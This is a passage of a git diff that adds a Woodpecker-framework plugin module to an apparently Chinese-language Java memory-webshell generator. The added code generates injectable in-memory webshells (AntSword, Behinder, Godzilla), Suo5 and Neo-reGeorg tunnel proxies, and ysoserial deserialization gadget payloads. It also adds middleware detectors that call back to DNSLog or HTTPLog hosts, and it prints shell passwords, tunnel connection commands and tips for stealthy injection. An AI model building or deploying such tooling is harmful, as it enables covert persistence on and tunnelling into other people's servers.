+ config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
+ if (config.getShellSimpleClassName() == null)
+ config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
+
+ config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
+
+ return config;
+ }
+}
\ No newline at end of file
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java
new file mode 100644
index 0000000..46efbed
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java
@@ -0,0 +1,35 @@
+package me.gv7.woodpecker.helper;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.InjectorGenerator;
+import jmg.suo5.generator.Suo5Generator;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ProxyHelperPlugin;
+import me.gv7.woodpecker.util.JMGResultUtil;
+
+import java.util.Map;
+
+public class Suo5Helper extends ProxyHelper {
+
+ @Override
+ public String getHelperTabCaption() {
+ return Constants.TOOL_SUO5;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = initConfig(customArgs, new AbstractConfig());
+ new Suo5Generator().makeShell(config);
+ new InjectorGenerator().makeInjector(config);
+ JMGResultUtil.printSuo5BasicInfo(resultOutput, config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printDebugInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java
new file mode 100644
index 0000000..e757ec1
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java
@@ -0,0 +1,275 @@
+package me.gv7.woodpecker.plugin;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.extender.generator.ExtenderGenerator;
+import jmg.core.util.ClassNameUtil;
+import jmg.core.util.CommonUtil;
+import me.gv7.woodpecker.tools.misc.SerializeUtil;
+import me.gv7.woodpecker.util.JMGResultUtil;
+import sun.misc.Unsafe;
+
+import java.io.File;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+public class ExtenderHelperPlugin implements IHelperPlugin {
+ public static IHelperPluginCallbacks callbacks;
+
+ public static IPluginHelper pluginHelper;
+
+ @Override
+ public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {
+ callbacks = helperPluginCallbacks;
+ pluginHelper = callbacks.getPluginHelper();
+ callbacks.setHelperPluginName("JMG Extender Helper");
+ callbacks.setHelperPluginVersion(Constants.JMG_VERSION);
+ callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR);
+ callbacks.setHelperPluginDescription("Java 内存马生成器 - 探测中间件/序列化封装");
+ List helperList = new ArrayList();
+ helperList.add(new DetectorHelper());
+ helperList.add(new YsoserialHelper());
+ callbacks.registerHelper(helperList);
+ }
+
+ public static class YsoserialHelper implements IHelper {
+ @Override
+ public String getHelperTabCaption() {
+ return "Ysoserial Payload Generator";
+ }
+
+ @Override
+ public IArgsUsageBinder getHelperCutomArgs() {
+ IArgsUsageBinder binder = ExtenderHelperPlugin.pluginHelper.createArgsUsageBinder();
+ List list = new ArrayList();
+
+ IArg ysoGadget = ExtenderHelperPlugin.pluginHelper.createArg();
+ ysoGadget.setName("yso_gadget");
+ ysoGadget.setDefaultValue("CommonsBeanutils1");
+ ysoGadget.setDescription("ysoserial gadget");
+ ysoGadget.setRequired(true);
+ list.add(ysoGadget);
+
+ IArg ysoCmd = ExtenderHelperPlugin.pluginHelper.createArg();
+ ysoCmd.setName("yso_cmd");
+ ysoCmd.setDefaultValue("class_file:/tmp/woo.class");
+ ysoCmd.setDescription("ysoserial command");
+ ysoCmd.setRequired(true);
+ list.add(ysoCmd);
+
+ IArg formatType = ExtenderHelperPlugin.pluginHelper.createArg();
+ formatType.setName("format_type");
+ formatType.setType(7);
+ List enumFormattType = new ArrayList();
+ enumFormattType.add(Constants.FORMAT_BASE64);
+ enumFormattType.add(Constants.FORMAT_BIGINTEGER);
+ enumFormattType.add(Constants.FORMAT_BCEL);
+ enumFormattType.add(Constants.FORMAT_CLASS);
+ enumFormattType.add(Constants.FORMAT_JAR);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ formatType.setEnumValue(enumFormattType);
+ formatType.setDefaultValue(Constants.FORMAT_BASE64);
+ formatType.setRequired(true);
+ formatType.setDescription("自定义输出格式");
+ list.add(formatType);
+
+ IArg output_path = ExtenderHelperPlugin.pluginHelper.createArg();
+ output_path.setName("output_path");
+ output_path.setType(0);
+ output_path.setDefaultValue("workdir");
+ output_path.setRequired(false);
+ output_path.setDescription("自定义输出路径");
+ list.add(output_path);
+
+ binder.setArgsList(list);
+ return binder;
+ }
+
+ @Override
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = new AbstractConfig();
+ String ysoGadget = (String) customArgs.get("yso_gadget");
+ String ysoCmd = (String) customArgs.get("yso_cmd");
+ config.setOutputFormat((String) customArgs.get("format_type"));
+ config.setEnabledExtender(true);
+ if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path"));
+ if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
+ config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
+
+ if (ysoCmd.toLowerCase().startsWith("class_file:")) {
+ String classFilePath = ysoCmd.substring("class_file:".length());
+ File file = new File(classFilePath);
+ if (!file.exists() || !file.isFile()) {
+ resultOutput.warningPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath())));
+ return;
+ }
+ }
+ Class utilsClass = Class.forName("me.gv7.woodpecker.yso.payloads.ObjectPayload$Utils");
+ Field field = Unsafe.class.getDeclaredField("theUnsafe");
+ field.setAccessible(true);
+ Unsafe unsafe = (Unsafe) field.get(null);
+ Object obj = unsafe.allocateInstance(utilsClass);
+ Object payload = ((Class) CommonUtil.invokeMethod(obj, "getPayloadClass", new Class[]{String.class}, new Object[]{ysoGadget})).newInstance();
+ Object objGadget = CommonUtil.invokeMethod(payload, "getObject", new Class[]{String.class}, new Object[]{ysoCmd});
+ byte[] serializedBytes = SerializeUtil.serialize(objGadget);
+ config.setExtenderBytes(serializedBytes);
+ config.setExtenderBytesLength(serializedBytes.length);
+ JMGResultUtil.printResult(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+ }
+
+
+ public static class DetectorHelper implements IHelper {
+ public String getHelperTabCaption() {
+ return "ServerType Detector";
+ }
+
+ public IArgsUsageBinder getHelperCutomArgs() {
+ IArgsUsageBinder binder = ExtenderHelperPlugin.pluginHelper.createArgsUsageBinder();
+ List list = new ArrayList();
+
+ IArg detect_way = ExtenderHelperPlugin.pluginHelper.createArg();
+ detect_way.setName("detect_way");
+ detect_way.setType(7);
+ List enumDetectWay = new ArrayList();
+ enumDetectWay.add(Constants.DETECT_DFSECHO);
+ enumDetectWay.add(Constants.DETECT_DNS);
+ enumDetectWay.add(Constants.DETECT_HTTP);
+ enumDetectWay.add(Constants.DETECT_SLEEP);
+ detect_way.setEnumValue(enumDetectWay);
+ detect_way.setRequired(true);
+ detect_way.setDefaultValue(Constants.DETECT_DFSECHO);
+ detect_way.setDescription("自定义探测中间件的方式、默认回显");
+ list.add(detect_way);
+
+ IArg server_type = ExtenderHelperPlugin.pluginHelper.createArg();
+ server_type.setName("server_type");
+ server_type.setType(7);
+ List enumServerType = new ArrayList();
+ enumServerType.add(Constants.SERVER_TOMCAT);
+ enumServerType.add(Constants.SERVER_SPRING_MVC);
+ enumServerType.add(Constants.SERVER_JETTY);
+ enumServerType.add(Constants.SERVER_RESIN);
+ enumServerType.add(Constants.SERVER_WEBLOGIC);
+ enumServerType.add(Constants.SERVER_WEBSPHERE);
+ enumServerType.add(Constants.SERVER_UNDERTOW);
+ enumServerType.add(Constants.SERVER_GLASSFISH);
+ server_type.setEnumValue(enumServerType);
+ server_type.setDefaultValue(Constants.SERVER_TOMCAT);
+ server_type.setRequired(true);
+ server_type.setDescription("自定义中间件");
+ list.add(server_type);
+
+ IArg dnslog_domain = ExtenderHelperPlugin.pluginHelper.createArg();
+ dnslog_domain.setName("dnslog_domain");
+ dnslog_domain.setType(0);
+ dnslog_domain.setRequired(true);
+ dnslog_domain.setDefaultValue("xxx.dnslog.cn");
+ dnslog_domain.setDescription("自定义 DNSLog 地址");
+ list.add(dnslog_domain);
+
+ IArg httplog_url = ExtenderHelperPlugin.pluginHelper.createArg();
+ httplog_url.setName("httplog_url");
+ httplog_url.setType(0);
+ httplog_url.setRequired(true);
+ httplog_url.setDefaultValue("http://xxx.httplog.cn");
+ httplog_url.setDescription("自定义 HTTPLog 地址");
+ list.add(httplog_url);
+
+ IArg sleep_seconds = ExtenderHelperPlugin.pluginHelper.createArg();
+ sleep_seconds.setName("sleep_seconds");
+ sleep_seconds.setType(0);
+ sleep_seconds.setRequired(true);
+ sleep_seconds.setDefaultValue("5");
+ sleep_seconds.setDescription("自定义延时的秒数");
+ list.add(sleep_seconds);
+
+ IArg gadgetType = ExtenderHelperPlugin.pluginHelper.createArg();
+ gadgetType.setName("gadget_type");
+ gadgetType.setType(7);
+ List enumGadgetType = new ArrayList();
+ enumGadgetType.add(Constants.GADGET_NONE);
+ enumGadgetType.add(Constants.GADGET_JDK_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET);
+ enumGadgetType.add(Constants.GADGET_FJ_GROOVY);
+ enumGadgetType.add(Constants.GADGET_SNAKEYAML);
+ gadgetType.setEnumValue(enumGadgetType);
+ gadgetType.setDefaultValue(Constants.GADGET_NONE);
+ gadgetType.setRequired(true);
+ gadgetType.setDescription("自定义利用链");
+ list.add(gadgetType);
+
+ IArg formatType = ExtenderHelperPlugin.pluginHelper.createArg();
+ formatType.setName("format_type");
+ formatType.setType(7);
+ List enumFormattType = new ArrayList();
+ enumFormattType.add(Constants.FORMAT_BASE64);
+ enumFormattType.add(Constants.FORMAT_BIGINTEGER);
+ enumFormattType.add(Constants.FORMAT_BCEL);
+ enumFormattType.add(Constants.FORMAT_CLASS);
+ enumFormattType.add(Constants.FORMAT_JAR);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ enumFormattType.add(Constants.FORMAT_JSP);
+ formatType.setEnumValue(enumFormattType);
+ formatType.setDefaultValue(Constants.FORMAT_BASE64);
+ formatType.setRequired(true);
+ formatType.setDescription("自定义输出格式");
+ list.add(formatType);
+
+ IArg detector_class_name = ExtenderHelperPlugin.pluginHelper.createArg();
+ detector_class_name.setName("detector_class_name");
+ detector_class_name.setType(0);
+ detector_class_name.setRequired(false);
+ detector_class_name.setDescription("自定义探测器类名");
+ list.add(detector_class_name);
+
+ IArg output_path = ExtenderHelperPlugin.pluginHelper.createArg();
+ output_path.setName("output_path");
+ output_path.setType(0);
+ output_path.setDefaultValue("workdir");
+ output_path.setRequired(false);
+ output_path.setDescription("自定义输出路径");
+ list.add(output_path);
+
+ binder.setArgsList(list);
+ return binder;
+ }
+
+ public void doHelp(Map customArgs, IResultOutput resultOutput) {
+ try {
+ AbstractConfig config = new AbstractConfig();
+ config.setServerType((String) customArgs.get("server_type"));
+ config.setDetectWay((String) customArgs.get("detect_way"));
+ config.setGadgetType((String) customArgs.get("gadget_type"));
+ config.setOutputFormat((String) customArgs.get("format_type"));
+ config.setDnsDomain((String) customArgs.get("dnslog_domain"));
+ config.setBaseUrl((String) customArgs.get("httplog_url"));
+ config.setSleepTime((String) customArgs.get("sleep_seconds"));
+ config.setEnabledExtender(true);
+
+ config.setExtenderClassName(ClassNameUtil.getRandomExtenderClassName());
+ config.setExtenderSimpleClassName(CommonUtil.getSimpleName(config.getExtenderClassName()));
+
+ if (customArgs.get("detector_class_name") != null)
+ config.setExtenderClassName((String) customArgs.get("detector_class_name"));
+ if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path"));
+ if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
+ config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
+
+ new ExtenderGenerator().makeShell(config);
+ JMGResultUtil.printResult(resultOutput, config);
+ JMGResultUtil.printExtenderBasicInfo(resultOutput, config);
+ } catch (Exception e) {
+ resultOutput.errorPrintln(ExtenderHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ }
+ }
+
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java
new file mode 100644
index 0000000..d20315b
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java
@@ -0,0 +1,29 @@
+package me.gv7.woodpecker.plugin;
+
+
+import jmg.core.config.Constants;
+import me.gv7.woodpecker.helper.NeoreGeorgHelper;
+import me.gv7.woodpecker.helper.Suo5Helper;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ProxyHelperPlugin implements IHelperPlugin {
+ public static IHelperPluginCallbacks callbacks;
+ public static IPluginHelper pluginHelper;
+
+ @Override
+ public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {
+ callbacks = helperPluginCallbacks;
+ pluginHelper = callbacks.getPluginHelper();
+ callbacks.setHelperPluginName("JMG Proxy Helper");
+ callbacks.setHelperPluginVersion(Constants.JMG_VERSION);
+ callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR);
+ callbacks.setHelperPluginDescription("Java 内存马生成器 - 代理");
+ List helperList = new ArrayList();
+ helperList.add(new Suo5Helper());
+ helperList.add(new NeoreGeorgHelper());
+
+ callbacks.registerHelper(helperList);
+ }
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java
new file mode 100644
index 0000000..2003db6
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java
@@ -0,0 +1,28 @@
+package me.gv7.woodpecker.plugin;
+
+import jmg.core.config.Constants;
+import me.gv7.woodpecker.helper.*;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ShellHelperPlugin implements IHelperPlugin {
+ public static IHelperPluginCallbacks callbacks;
+ public static IPluginHelper pluginHelper;
+
+ @Override
+ public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) {
+ callbacks = helperPluginCallbacks;
+ pluginHelper = callbacks.getPluginHelper();
+ callbacks.setHelperPluginName("JMG Shell Helper");
+ callbacks.setHelperPluginAutor(Constants.JMG_AUTHOR);
+ callbacks.setHelperPluginVersion(Constants.JMG_VERSION);
+ callbacks.setHelperPluginDescription("Java 内存马生成器");
+ List helperList = new ArrayList<>();
+ helperList.add(new AntSwordHelper());
+ helperList.add(new BehinderHelper());
+ helperList.add(new GodzillaHelper());
+ helperList.add(new CustomHelper());
+ callbacks.registerHelper(helperList);
+ }
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java
new file mode 100755
index 0000000..9f39660
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java
@@ -0,0 +1,13 @@
+package me.gv7.woodpecker.plugin;
+
+public class WoodpeckerPluginManager implements IPluginManager {
+ public WoodpeckerPluginManager() {
+ }
+
+ @Override
+ public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) {
+ pluginManagerCallbacks.registerHelperPlugin(new ShellHelperPlugin());
+ pluginManagerCallbacks.registerHelperPlugin(new ProxyHelperPlugin());
+ pluginManagerCallbacks.registerHelperPlugin(new ExtenderHelperPlugin());
+ }
+}
diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java
new file mode 100644
index 0000000..15f90fd
--- /dev/null
+++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java
@@ -0,0 +1,146 @@
+package me.gv7.woodpecker.util;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.CommonUtil;
+import me.gv7.woodpecker.plugin.IResultOutput;
+import me.gv7.woodpecker.plugin.ShellHelperPlugin;
+
+import java.io.IOException;
+
+public class JMGResultUtil {
+
+ public static void printAntSwordBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("密码: " + config.getPass());
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
+ resultOutput.rawPrintln("脚本类型: JSP");
+ resultOutput.rawPrintln("");
+ }
+
+ public static void printBehinderBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("密码: " + config.getPass());
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ": " + config.getHeaderValue());
+ resultOutput.rawPrintln("脚本类型: JSP");
+ resultOutput.rawPrintln("");
+ }
+
+ public static void printGodzillaBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("加密器: JAVA_AES_BASE64");
+ resultOutput.rawPrintln("密码: " + config.getPass());
+ resultOutput.rawPrintln("密钥: " + config.getKey());
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("请求头: " + config.getHeaderName() + ":" + config.getHeaderValue());
+ resultOutput.rawPrintln("");
+ }
+
+
+ public static void printCustomBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.rawPrintln("基础信息");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("注入器类名: " + config.getInjectorClassName());
+ resultOutput.rawPrintln("");
+
+ }
+
+ public static void printSuo5BasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("连接指令:");
+ if (config.getHeaderName().equalsIgnoreCase("user-agent")){
+ resultOutput.rawPrintln(String.format(" ./suo5 -d --ua '%s' -t http://", config.getHeaderValue()));
+ resultOutput.rawPrintln(String.format(" ./suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua '%s' -t http://", config.getHeaderValue()));
+ }else {
+ resultOutput.rawPrintln(String.format(" ./suo5 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
+ resultOutput.rawPrintln(String.format(" ./suo5 -l 0.0.0.0:7788 --auth test:test123 -H '%s: %s' -t http://", config.getHeaderName(), config.getHeaderValue()));
+ }
+ resultOutput.rawPrintln("");
+ }
+
+ public static void printNeoreGeorgBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("密钥: " + config.getKey());
+ resultOutput.rawPrintln("请求路径: " + config.getUrlPattern());
+ resultOutput.rawPrintln("连接指令:");
+ resultOutput.rawPrintln(String.format(" python3 neoreg.py -k %s -H '%s:%s' -u http://", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
+ resultOutput.rawPrintln(String.format(" python3 neoreg.py --skip --proxy http://127.0.0.1:8080 -vv -k %s -H '%s:%s' -u http:// ", config.getKey(), config.getHeaderName(), config.getHeaderValue()));
+ resultOutput.rawPrintln("");
+ }
+
+ public static void printExtenderBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ resultOutput.successPrintln("基础信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("探测器类名: " + config.getExtenderClassName());
+ resultOutput.rawPrintln("探测器字节流长度: " + config.getExtenderBytes().length);
+ resultOutput.rawPrintln("");
+ }
+
+ public static void printBasicInfo(IResultOutput resultOutput, AbstractConfig config) {
+ try {
+ resultOutput.warningPrintln("内存马注入器通过静态代码块和构造函数均可触发");
+ resultOutput.warningPrintln(String.format("判断内存马注入成功的标志: 不带body携带对应的请求头访问,若response返回的cookie有[%s]键值对说明注入成功", config.getPass().toUpperCase()));
+ resultOutput.warningPrintln("内存马连接路径尽量使用应用系统存在的路径");
+ resultOutput.rawPrintln("------------------------------------------------------------------------------------------------");
+ } catch (Exception ignored) {
+ }
+ }
+
+ public static void printResult(IResultOutput resultOutput, AbstractConfig config) {
+ if (!config.isEnabledExtender() && config.getInjectorBytesLength() == 0) {
+ resultOutput.warningPrintln("请在非调试模式下使用!");
+ } else if (config.isEnabledExtender() && config.getExtenderBytesLength() == 0) {
+ resultOutput.warningPrintln("请在非调试模式下使用!");
+ } else {
+ switch (config.getOutputFormat()) {
+ case Constants.FORMAT_CLASS:
+ case Constants.FORMAT_JSP:
+ case Constants.FORMAT_JAR_AGENT:
+ case Constants.FORMAT_JAR:
+ try {
+ if (config.isEnabledExtender()) {
+ CommonUtil.transformExtenderToFile(config);
+ } else {
+ CommonUtil.transformToFile(config);
+ }
+ resultOutput.successPrintln("结果输出:\n");
+ resultOutput.rawPrintln(config.getSavePath() + "\n");
+ } catch (Throwable e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ break;
+ case Constants.FORMAT_BCEL:
+ case Constants.FORMAT_JS:
+ case Constants.FORMAT_BASE64:
+ case Constants.FORMAT_BIGINTEGER:
+ try {
+ String result = CommonUtil.transformTotext(config);
+ resultOutput.successPrintln("结果输出:\n");
+ resultOutput.rawPrintln(result + "\n");
+ } catch (Throwable e) {
+ resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e));
+ }
+ break;
+ }
+ }
+ }
+
+ public static void printDebugInfo(IResultOutput resultOutput, AbstractConfig config) throws IOException {
+ resultOutput.successPrintln("调试信息:");
+ resultOutput.rawPrintln("");
+ resultOutput.rawPrintln("内存马类名: " + config.getShellClassName());
+ resultOutput.rawPrintln("注入器类名: " + config.getInjectorClassName());
+ resultOutput.rawPrintln("内存马字节流长度: " + config.getShellBytesLength());
+ resultOutput.rawPrintln("注入器字节流长度: " + config.getInjectorBytesLength());
+ resultOutput.rawPrintln("");
+ }
+}
diff --git a/pom.xml b/pom.xml
index ec6156b..4cb53b4 100644
--- a/pom.xml
+++ b/pom.xml
@@ -16,7 +16,7 @@
jmg-neoregeorg
jmg-suo5
jmg-extender
-
+ jmg-woodpecker